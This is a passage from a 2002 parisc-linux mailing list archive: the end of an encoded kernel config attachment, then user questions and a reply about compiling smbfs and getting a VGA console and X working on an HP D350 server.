IENPTkZJR19FRlNfRlMgaXMgbm90IHNldAojIENPTkZJR19KRkZTX0ZTIGlzIG5vdCBzZXQKIyBD
T05GSUdfSkZGUzJfRlMgaXMgbm90IHNldAojIENPTkZJR19DUkFNRlMgaXMgbm90IHNldAojIENP
TkZJR19UTVBGUyBpcyBub3Qgc2V0CiMgQ09ORklHX1JBTUZTIGlzIG5vdCBzZXQKQ09ORklHX0lT
Tzk2NjBfRlM9eQpDT05GSUdfSk9MSUVUPXkKIyBDT05GSUdfWklTT0ZTIGlzIG5vdCBzZXQKQ09O
RklHX01JTklYX0ZTPW0KIyBDT05GSUdfVlhGU19GUyBpcyBub3Qgc2V0CiMgQ09ORklHX05URlNf
RlMgaXMgbm90IHNldAojIENPTkZJR19OVEZTX1JXIGlzIG5vdCBzZXQKIyBDT05GSUdfSFBGU19G
UyBpcyBub3Qgc2V0CkNPTkZJR19QUk9DX0ZTPXkKIyBDT05GSUdfREVWRlNfRlMgaXMgbm90IHNl
dAojIENPTkZJR19ERVZGU19NT1VOVCBpcyBub3Qgc2V0CiMgQ09ORklHX0RFVkZTX0RFQlVHIGlz
IG5vdCBzZXQKQ09ORklHX0RFVlBUU19GUz15CiMgQ09ORklHX1FOWDRGU19GUyBpcyBub3Qgc2V0
CiMgQ09ORklHX1FOWDRGU19SVyBpcyBub3Qgc2V0CiMgQ09ORklHX1JPTUZTX0ZTIGlzIG5vdCBz
ZXQKQ09ORklHX0VYVDJfRlM9eQojIENPTkZJR19TWVNWX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdf
VURGX0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfVURGX1JXIGlzIG5vdCBzZXQKIyBDT05GSUdfVUZT
X0ZTIGlzIG5vdCBzZXQKIyBDT05GSUdfVUZTX0ZTX1dSSVRFIGlzIG5vdCBzZXQKCiMKIyBOZXR3
b3JrIEZpbGUgU3lzdGVtcwojCiMgQ09ORklHX0NPREFfRlMgaXMgbm90IHNldAojIENPTkZJR19J
TlRFUk1FWlpPX0ZTIGlzIG5vdCBzZXQKQ09ORklHX05GU19GUz15CkNPTkZJR19ORlNfVjM9eQpD
T05GSUdfUk9PVF9ORlM9eQpDT05GSUdfTkZTRD1tCkNPTkZJR19ORlNEX1YzPXkKQ09ORklHX1NV
TlJQQz15CkNPTkZJR19MT0NLRD15CkNPTkZJR19MT0NLRF9WND15CiMgQ09ORklHX1NNQl9GUyBp
cyBub3Qgc2V0CiMgQ09ORklHX05DUF9GUyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUEZTX1BBQ0tF
VF9TSUdOSU5HIGlzIG5vdCBzZXQKIyBDT05GSUdfTkNQRlNfSU9DVExfTE9DS0lORyBpcyBub3Qg
c2V0CiMgQ09ORklHX05DUEZTX1NUUk9ORyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUEZTX05GU19O
UyBpcyBub3Qgc2V0CiMgQ09ORklHX05DUEZTX09TMl9OUyBpcyBub3Qgc2V0CiMgQ09ORklHX05D
UEZTX1NNQUxMRE9TIGlzIG5vdCBzZXQKIyBDT05GSUdfTkNQRlNfTkxTIGlzIG5vdCBzZXQKIyBD
T05GSUdfTkNQRlNfRVhUUkFTIGlzIG5vdCBzZXQKIyBDT05GSUdfWklTT0ZTX0ZTIGlzIG5vdCBz
ZXQKIyBDT05GSUdfWkxJQl9GU19JTkZMQVRFIGlzIG5vdCBzZXQKCiMKIyBQYXJ0aXRpb24gVHlw
ZXMKIwojIENPTkZJR19QQVJUSVRJT05fQURWQU5DRUQgaXMgbm90IHNldApDT05GSUdfTVNET1Nf
UEFSVElUSU9OPXkKIyBDT05GSUdfU01CX05MUyBpcyBub3Qgc2V0CkNPTkZJR19OTFM9eQoKIwoj
IE5hdGl2ZSBMYW5ndWFnZSBTdXBwb3J0CiMKQ09ORklHX05MU19ERUZBVUxUPSJpc284ODU5LTEi
CiMgQ09ORklHX05MU19DT0RFUEFHRV80MzcgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBB
R0VfNzM3IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzc3NSBpcyBub3Qgc2V0CiMg
Q09ORklHX05MU19DT0RFUEFHRV84NTAgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0Vf
ODUyIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg1NSBpcyBub3Qgc2V0CiMgQ09O
RklHX05MU19DT0RFUEFHRV84NTcgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODYw
IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2MSBpcyBub3Qgc2V0CiMgQ09ORklH
X05MU19DT0RFUEFHRV84NjIgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODYzIGlz
IG5vdCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2NCBpcyBub3Qgc2V0CiMgQ09ORklHX05M
U19DT0RFUEFHRV84NjUgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODY2IGlzIG5v
dCBzZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzg2OSBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19D
T0RFUEFHRV85MzYgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfOTUwIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkxTX0NPREVQQUdFXzkzMiBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RF
UEFHRV85NDkgaXMgbm90IHNldAojIENPTkZJR19OTFNfQ09ERVBBR0VfODc0IGlzIG5vdCBzZXQK
IyBDT05GSUdfTkxTX0lTTzg4NTlfOCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19DT0RFUEFHRV8x
MjUxIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfMSBpcyBub3Qgc2V0CiMgQ09ORklH
X05MU19JU084ODU5XzIgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV8zIGlzIG5vdCBz
ZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfNCBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5
XzUgaXMgbm90IHNldAojIENPTkZJR19OTFNfSVNPODg1OV82IGlzIG5vdCBzZXQKIyBDT05GSUdf
TkxTX0lTTzg4NTlfNyBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5XzkgaXMgbm90IHNl
dAojIENPTkZJR19OTFNfSVNPODg1OV8xMyBpcyBub3Qgc2V0CiMgQ09ORklHX05MU19JU084ODU5
XzE0IGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0lTTzg4NTlfMTUgaXMgbm90IHNldAojIENPTkZJ
R19OTFNfS09JOF9SIGlzIG5vdCBzZXQKIyBDT05GSUdfTkxTX0tPSThfVSBpcyBub3Qgc2V0CiMg
Q09ORklHX05MU19VVEY4IGlzIG5vdCBzZXQKCiMKIyBDb25zb2xlIGRyaXZlcnMKIwoKIwojIEZy
YW1lLWJ1ZmZlciBzdXBwb3J0CiMKQ09ORklHX0ZCPXkKQ09ORklHX0RVTU1ZX0NPTlNPTEU9eQoj
IENPTkZJR19GQl9SSVZBIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfQ0xHRU4gaXMgbm90IHNldAoj
IENPTkZJR19GQl9QTTIgaXMgbm90IHNldAojIENPTkZJR19GQl9DWUJFUjIwMDAgaXMgbm90IHNl
dApDT05GSUdfRkJfU1RJPXkKIyBDT05GSUdfRkJfTUFUUk9YIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfQVRZIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfUkFERU9OIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfQVRZMTI4IGlzIG5vdCBzZXQKIyBDT05GSUdfRkJfU0lTIGlzIG5vdCBzZXQKIyBDT05GSUdf
RkJfM0RGWCBpcyBub3Qgc2V0CiMgQ09ORklHX0ZCX1ZPT0RPTzEgaXMgbm90IHNldAojIENPTkZJ
R19GQl9WSVJUVUFMIGlzIG5vdCBzZXQKIyBDT05GSUdfRkJDT05fQURWQU5DRUQgaXMgbm90IHNl
dApDT05GSUdfRkJDT05fQ0ZCOD15CkNPTkZJR19GQkNPTl9DRkIzMj15CkNPTkZJR19GQkNPTl9T
VEk9eQojIENPTkZJR19GQkNPTl9GT05UV0lEVEg4X09OTFkgaXMgbm90IHNldAojIENPTkZJR19G
QkNPTl9GT05UUyBpcyBub3Qgc2V0CkNPTkZJR19GT05UXzh4OD15CkNPTkZJR19GT05UXzh4MTY9
eQpDT05GSUdfU1RJX0NPTlNPTEU9eQpDT05GSUdfRFVNTVlfQ09OU09MRT15CkNPTkZJR19EVU1N
WV9DT05TT0xFPXkKQ09ORklHX0ZCQ09OPXkKQ09ORklHX0ZCQ09OX0ZPTlQ9eQpDT05GSUdfRk9O
VF84eDg9eQpDT05GSUdfRk9OVF84eDE2PXkKQ09ORklHX0ZPTlRfNngxMT15CkNPTkZJR19GT05U
X1NVTjEyeDIyPXkKCiMKIyBTb3VuZAojCkNPTkZJR19TT1VORD15CiMgQ09ORklHX1NPVU5EX0JU
ODc4IGlzIG5vdCBzZXQKIyBDT05GSUdfU09VTkRfQ01QQ0kgaXMgbm90IHNldAojIENPTkZJR19T
T1VORF9FTVUxMEsxIGlzIG5vdCBzZXQKIyBDT05GSUdfTUlESV9FTVUxMEsxIGlzIG5vdCBzZXQK
IyBDT05GSUdfU09VTkRfRlVTSU9OIGlzIG5vdCBzZXQKIyBDT05GSUdfU09VTkRfQ1M0MjgxIGlz
IG5vdCBzZXQKIyBDT05GSUdfU09VTkRfRVMxMzcwIGlzIG5vdCBzZXQKIyBDT05GSUdfU09VTkRf
RVMxMzcxIGlzIG5vdCBzZXQKIyBDT05GSUdfU09VTkRfRVNTU09MTzEgaXMgbm90IHNldAojIENP
TkZJR19TT1VORF9NQUVTVFJPIGlzIG5vdCBzZXQKIyBDT05GSUdfU09VTkRfTUFFU1RSTzMgaXMg
bm90IHNldAojIENPTkZJR19TT1VORF9JQ0ggaXMgbm90IHNldApDT05GSUdfU09VTkRfSEFSTU9O
WT15CiMgQ09ORklHX1NPVU5EX1JNRTk2WFggaXMgbm90IHNldAojIENPTkZJR19TT1VORF9TT05J
Q1ZJQkVTIGlzIG5vdCBzZXQKIyBDT05GSUdfU09VTkRfVFJJREVOVCBpcyBub3Qgc2V0CiMgQ09O
RklHX1NPVU5EX01TTkRDTEFTIGlzIG5vdCBzZXQKIyBDT05GSUdfU09VTkRfTVNORFBJTiBpcyBu
b3Qgc2V0CiMgQ09ORklHX1NPVU5EX1ZJQTgyQ1hYWCBpcyBub3Qgc2V0CiMgQ09ORklHX01JRElf
VklBODJDWFhYIGlzIG5vdCBzZXQKIyBDT05GSUdfU09VTkRfT1NTIGlzIG5vdCBzZXQKIyBDT05G
SUdfU09VTkRfVFZNSVhFUiBpcyBub3Qgc2V0CgojCiMgVVNCIHN1cHBvcnQKIwojIENPTkZJR19V
U0IgaXMgbm90IHNldAojIENPTkZJR19VU0JfVUhDSSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9V
SENJX0FMVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9PSENJIGlzIG5vdCBzZXQKIyBDT05GSUdf
VVNCX0FVRElPIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX0JMVUVUT09USCBpcyBub3Qgc2V0CiMg
Q09ORklHX1VTQl9TVE9SQUdFIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NUT1JBR0VfREVCVUcg
aXMgbm90IHNldAojIENPTkZJR19VU0JfU1RPUkFHRV9EQVRBRkFCIGlzIG5vdCBzZXQKIyBDT05G
SUdfVVNCX1NUT1JBR0VfRlJFRUNPTSBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX0lT
RDIwMCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TVE9SQUdFX0RQQ00gaXMgbm90IHNldAojIENP
TkZJR19VU0JfU1RPUkFHRV9IUDgyMDBlIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NUT1JBR0Vf
U0REUjA5IGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NUT1JBR0VfSlVNUFNIT1QgaXMgbm90IHNl
dAojIENPTkZJR19VU0JfQUNNIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1BSSU5URVIgaXMgbm90
IHNldAojIENPTkZJR19VU0JfREMyWFggaXMgbm90IHNldAojIENPTkZJR19VU0JfTURDODAwIGlz
IG5vdCBzZXQKIyBDT05GSUdfVVNCX1NDQU5ORVIgaXMgbm90IHNldAojIENPTkZJR19VU0JfTUlD
Uk9URUsgaXMgbm90IHNldAojIENPTkZJR19VU0JfSFBVU0JTQ1NJIGlzIG5vdCBzZXQKIyBDT05G
SUdfVVNCX1BFR0FTVVMgaXMgbm90IHNldAojIENPTkZJR19VU0JfS0FXRVRIIGlzIG5vdCBzZXQK
IyBDT05GSUdfVVNCX0NBVEMgaXMgbm90IHNldAojIENPTkZJR19VU0JfQ0RDRVRIRVIgaXMgbm90
IHNldAojIENPTkZJR19VU0JfVVNCTkVUIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1VTUzcyMCBp
cyBub3Qgc2V0CgojCiMgVVNCIFNlcmlhbCBDb252ZXJ0ZXIgc3VwcG9ydAojCiMgQ09ORklHX1VT
Ql9TRVJJQUwgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX0dFTkVSSUMgaXMgbm90IHNl
dAojIENPTkZJR19VU0JfU0VSSUFMX0JFTEtJTiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJ
QUxfV0hJVEVIRUFUIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9ESUdJX0FDQ0VMRVBP
UlQgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX0VNUEVHIGlzIG5vdCBzZXQKIyBDT05G
SUdfVVNCX1NFUklBTF9GVERJX1NJTyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJQUxfVklT
T1IgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX0lSIGlzIG5vdCBzZXQKIyBDT05GSUdf
VVNCX1NFUklBTF9FREdFUE9SVCBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJQUxfS0VZU1BB
Tl9QREEgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX0tFWVNQQU4gaXMgbm90IHNldAoj
IENPTkZJR19VU0JfU0VSSUFMX0tFWVNQQU5fVVNBMjggaXMgbm90IHNldAojIENPTkZJR19VU0Jf
U0VSSUFMX0tFWVNQQU5fVVNBMjhYIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9LRVlT
UEFOX1VTQTI4WEEgaXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX0tFWVNQQU5fVVNBMjhY
QiBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJQUxfS0VZU1BBTl9VU0ExOSBpcyBub3Qgc2V0
CiMgQ09ORklHX1VTQl9TRVJJQUxfS0VZU1BBTl9VU0ExOFggaXMgbm90IHNldAojIENPTkZJR19V
U0JfU0VSSUFMX0tFWVNQQU5fVVNBMTlXIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9L
RVlTUEFOX1VTQTQ5VyBpcyBub3Qgc2V0CiMgQ09ORklHX1VTQl9TRVJJQUxfTUNUX1UyMzIgaXMg
bm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX1BMMjMwMyBpcyBub3Qgc2V0CiMgQ09ORklHX1VT
Ql9TRVJJQUxfQ1lCRVJKQUNLIGlzIG5vdCBzZXQKIyBDT05GSUdfVVNCX1NFUklBTF9YSVJDT00g
aXMgbm90IHNldAojIENPTkZJR19VU0JfU0VSSUFMX09NTklORVQgaXMgbm90IHNldAojIENPTkZJ
R19VU0JfUklPNTAwIGlzIG5vdCBzZXQKCiMKIyBLZXJuZWwgaGFja2luZwojCkNPTkZJR19NQUdJ
Q19TWVNSUT15CkNPTkZJR19EVU1QPXkKQ09ORklHX0RVTVBfQ09NUFJFU1NfUkxFPXkK

--0__=C1256B5F0063DC458f9e8a93df938690918cC1256B5F0063DC45--




From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James S" <smith-james@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] smbfs.o module
Date: Wed, 13 Feb 2002 16:09:01 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <001501c1b4d2$a9577ee0$02c1a8c0@james.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621065 3026 80.91.229.3 (22 Nov 2014 01:51:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:05 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 14:09:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail12.sdc1.sfba.home.com (femail12.sdc1.sfba.home.com [24.0.95.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33184483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 14:09:03 -0700 (MST)
Original-Received: from kenny ([68.58.113.28]) by femail12.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20020213210902.REXJ16300.femail12.sdc1.sfba.home.com@kenny>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 13 Feb 2002 13:09:02 -0800
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14043

has anybody tried compiling this module ?

it would save me a lot of time if somebody has it already compiled - I could
just 'insmod' it.....

i'm on a  712/60 & installed using the 'testing' fileset

Thanks

James S






From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Holst, Richard G (Dick), PROSH" <dholst@att.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux on a D server
Date: Wed, 13 Feb 2002 16:25:37 -0500
Lines: 56
Approved: news@gmane.org
Message-ID: <28F05913385EAC43AF019413F674A01701380082@OCCLUST04EVS1.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_001_01C1B4D4.FADA29B4"
X-Trace: ger.gmane.org 1416621065 3028 80.91.229.3 (22 Nov 2014 01:51:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:05 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 14:25:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ckmso1.proxy.att.com (ckmso1.att.com [12.20.58.69])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6146C4842
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 14:25:53 -0700 (MST)
Original-Received: from attrh1i.attrh.att.com ([135.71.62.10])
	by ckmso1.proxy.att.com (AT&T IPNS/MSO-3.0) with ESMTP id g1DLPjZ27128
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 16:25:45 -0500 (EST)
Original-Received: from occlust04evs1.ugd.att.com (135.71.164.12) by attrh1i.attrh.att.com (5.5.029)
        id 3C62A10C00057E93 for parisc-linux@lists.parisc-linux.org; Wed, 13 Feb 2002 16:25:40 -0500
content-class: urn:content-classes:message
X-MS-Has-Attach: yes
X-MS-TNEF-Correlator: 
X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3
Thread-Topic: parisc-linux on a D server
Thread-Index: AcG01QWq/XmO2h8xEdawHQBgsBoYNw==
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14044

This is a multi-part message in MIME format.

------_=_NextPart_001_01C1B4D4.FADA29B4
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Folks,

I too have managed to get 0.9.3 ISO image to load and run on my D350 =
thanks to Stephen Roylance a member of this mailing list.

My question and or problem now is trying to get the console to come up =
and run X windows on the VGA graphics card that is installed in my D =
server.

The HP number of the display adapter is A4081-66009, and I have been =
able to locate it on Google.com as a valid HP part. I have set the =
firmware console path to the hardware path displayed by the "in io" =
command (12/10). The system boots, I get the Penguin in the upper left =
corner of the video display followed by some text. The last message I =
see on the VGA display is about start the Gnome mgr. The output then =
reverts back to the serial terminal and I get a login prompt.

I looked at the messages in the dmesg file, and it tells me that it =
can't find the display. Has anyone else run into the problem? Any help =
or a push in the right direction would be greatly appreciated.

Thanks in advance

Dick Holst


 <<Holst, Richard G (Dick), GOVMK.vcf>>=20

------_=_NextPart_001_01C1B4D4.FADA29B4
Content-Type: text/x-vcard;
	name="Holst, Richard G (Dick), GOVMK.vcf"
Content-Transfer-Encoding: base64
Content-Description: Holst, Richard G (Dick), GOVMK.vcf
Content-Disposition: attachment;
	filename="Holst, Richard G (Dick), GOVMK.vcf"

QkVHSU46VkNBUkQNClZFUlNJT046Mi4xDQpOOkhvbHN0O1JpY2hhcmQNCkZOOkhvbHN0LCBSaWNo
YXJkIEcgKERpY2spLCBHT1ZNSw0KT1JHOkJNIChBVCZUIEJVU0lORVNTIFNFUlZJQ0VTKTtHT1ZN
SyAoQUJTLUdPVkVSTk1FTlQgTUtUUykNClRJVExFOlNFTklPUiBURUNITklDQUwgU1RBRkYgTUVN
QkVSDQpURUw7V09SSztWT0lDRTorMSA3MzIgNDIwLTQ4NDQNClRFTDtDRUxMO1ZPSUNFOiANClRF
TDtQQUdFUjtWT0lDRTogDQpBRFI7V09SSzo7RTUtM0QxODsyMDAgUyBMQVVSRUwgQVZFO01JRERM
RVRPV047Tko7MDc3NDgtMDAwMDtVTklURUQgU1RBVEVTDQpMQUJFTDtXT1JLO0VOQ09ESU5HPVFV
T1RFRC1QUklOVEFCTEU6RTUtM0QxOD0wRD0wQTIwMCBTIExBVVJFTCBBVkU9MEQ9MEFNSURETEVU
T1dOLCBOSiAwNzc0OC0wMDAwPTBEPTBBVU5JVEVEIFNUQT0NClRFUw0KRU1BSUw7UFJFRjtJTlRF
Uk5FVDpkaG9sc3RAYXR0LmNvbQ0KUkVWOjIwMDAxMDIzVDE5NDgzM1oNCkVORDpWQ0FSRA0K

------_=_NextPart_001_01C1B4D4.FADA29B4--



From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux on a D server
Date: Wed, 13 Feb 2002 23:42:40 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <200202132342.40907.deller@gmx.de>
References: <28F05913385EAC43AF019413F674A01701380082@OCCLUST04EVS1.ugd.att.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621065 3033 80.91.229.3 (22 Nov 2014 01:51:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:05 +0000 (UTC)
To: "Holst, Richard G (Dick), PROSH" <dholst@att.com>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 15:45:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 37DFC4843
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 15:45:38 -0700 (MST)
Original-Received: (qmail 26479 invoked by uid 0); 13 Feb 2002 22:45:35 -0000
Original-Received: from pd9e08507.dip.t-dialin.net (HELO P100) (217.224.133.7)
  by mail.gmx.net (mp016-rz3) with SMTP; 13 Feb 2002 22:45:35 -0000
X-Mailer: KMail [version 1.3.9]
In-Reply-To: <28F05913385EAC43AF019413F674A01701380082@OCCLUST04EVS1.ugd.att.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14045

On Wednesday 13 February 2002 22:25, Holst, Richard G (Dick), PROSH wrote:
> The system boots, I get the Penguin in the upper left corner of the video
> display followed by some text. The last message I see on the VGA display is
> about start the Gnome mgr. The output then reverts back to the serial
> terminal and I get a login prompt.
>
> I looked at the messages in the dmesg file, and it tells me that it can't
> find the display. Has anyone else run into the problem? Any help or a push
> in the right direction would be greatly appreciated.

Check your resolution and mouse settings in the XF86Config-4 file.
Please also read the FAQ at http://www.parisc-linux.org

Helge



From - Thu Nov 08 21:21:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with the current HP PA setup of debian
Date: Thu, 14 Feb 2002 00:31:27 +0100
Organization: private
Lines: 117
Approved: news@gmane.org
Message-ID: <3C6AF74F.DDCD362C@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621066 3044 80.91.229.3 (22 Nov 2014 01:51:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:51:06 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 13 16:31:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id F1C754847
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Feb 2002 16:31:36 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
